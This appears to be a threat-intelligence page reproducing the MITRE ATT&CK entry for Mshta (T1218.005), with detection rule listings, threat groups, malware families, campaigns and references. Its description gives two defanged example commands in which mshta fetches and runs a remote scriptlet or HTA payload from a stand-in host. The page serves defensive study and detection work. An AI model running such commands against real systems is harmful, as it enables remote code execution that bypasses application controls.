Mshta

T1218.005

Sub-technique of T1218 System Binary Proxy Execution.View on attack.mitre.org

About this technique

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

Detection rules19

Rules on DetectionCode tagged with T1218.005.

Sigma7

Rule	Level	Log source
Csc.EXE Execution Form Potentially Suspicious Parent	high	windows / process_creation
HackTool - CACTUSTORCH Remote Thread Creation	high	windows / create_remote_thread
MSHTA Execution with Suspicious File Extensions	high	windows / process_creation
Potential LethalHTA Technique Execution	high	windows / process_creation
Remotely Hosted HTA File Executed Via Mshta.EXE	high	windows / process_creation
Suspicious JavaScript Execution Via Mshta.EXE	high	windows / process_creation
Suspicious MSHTA Child Process	high	windows / process_creation

Splunk12

Rule	Type	Risk	Data source
Cisco NVM - MSHTML or MSHTA Network Execution Without URL in CLI	Anomaly	NULL	Cisco Network Visibility Module Flow Data
Cisco NVM - Rundll32 Abuse of MSHTML.DLL for Payload Download	Anomaly	NULL	Cisco Network Visibility Module Flow Data
Detect mshta inline hta execution	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Detect mshta renamed	Hunting	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Detect MSHTA Url in Command Line	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2, Cisco Network Visibility Module Flow Data
Detect Rundll32 Inline HTA Execution	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Mshta spawning Rundll32 OR Regsvr32 Process	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Suspicious mshta child process	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Suspicious mshta spawn	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Windows Mshta Execution In Registry	TTP	NULL	Sysmon EventID 13
Windows MSHTA Writing to World Writable Path	TTP	NULL	Sysmon EventID 11
Windows Process Writing File to World Writable Path	Hunting	NULL	Sysmon EventID 11

Groups17

Software11

BabyShark Covenant Koadic Lumma Stealer Metamorfo NanHaiShu POWERSTATS Pteranodon Revenge RAT Sibot Xbash

Campaigns2

C0015 Operation Dust Storm

Procedure examples30

Groups17

Used by	Procedure example
GroupAPT29	APT29 has use `mshta` to execute malicious scripts on a compromised host. ESET T3 Threat Report 2021
GroupAPT32	APT32 has used mshta.exe for code execution. Cybereason Cobalt Kitty 2017 Cybereason Oceanlotus May 2017
GroupAPT38	APT38 has used a renamed version of `mshta.exe` to execute malicious HTML files. 1 - appv
GroupConfucius	Confucius has used mshta.exe to execute malicious VBScript. TrendMicro Confucius APT Feb 2018
GroupEarth Lusca	Earth Lusca has used `mshta.exe` to load an HTA script within a malicious .LNK file. TrendMicro EarthLusca 2022
GroupFIN7	FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems. FireEye FIN7 April 2017
GroupGamaredon Group	Gamaredon Group has used `mshta.exe` to execute malicious files. ESET Gamaredon Sept2024 Symantec Shuckworm January 2022 SymantecCarbonBlack_ShuckwormUSB_Apr2025 unit42_gamaredon_dec2022
GroupInception	Inception has used malicious HTA files to drop and execute malware. Kaspersky Cloud Atlas August 2019

View all 17 groups examples

Software11

Used by	Procedure example
MalwareBabyShark	BabyShark has used mshta.exe to download and execute applications from a remote server. CISA AA20-301A Kimsuky
ToolCovenant	Covenant can create HTA files to install Grunt listeners. Github Covenant
ToolKoadic	Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence. Github Koadic MalwareBytes LazyScripter Feb 2021
MalwareLumma Stealer	Lumma Stealer has used mshta.exe to execute additional content. Netskope LummaStealer 2025 Qualys LummaStealer 2024
MalwareMetamorfo	Metamorfo has used mshta.exe to execute a HTA payload. FireEye Metamorfo Apr 2018
MalwareNanHaiShu	NanHaiShu uses mshta.exe to load its program and files. fsecure NanHaiShu July 2016
MalwarePOWERSTATS	POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts. FireEye MuddyWater Mar 2018
MalwarePteranodon	Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server. Symantec Shuckworm January 2022

View all 11 software examples

Campaigns2

Used by	Procedure example
CampaignC0015	During C0015, the threat actors used `mshta` to execute DLLs. DFIR Conti Bazar Nov 2021
CampaignOperation Dust Storm	During Operation Dust Storm, the threat actors executed JavaScript code via `mshta.exe`. Cylance Dust Storm

References8

Airbus Security Kovter Analysis Open source
Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.
Cylance Dust Storm Open source
Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.
FireEye Attacks Leveraging HTA Open source
Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.
FireEye FIN7 April 2017 Open source
Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.
LOLBAS Mshta Open source
LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
MSDN HTML Applications Open source
Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
Red Canary HTA Abuse Part Deux Open source
McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.
Wikipedia HTML Application Open source
Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.

Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.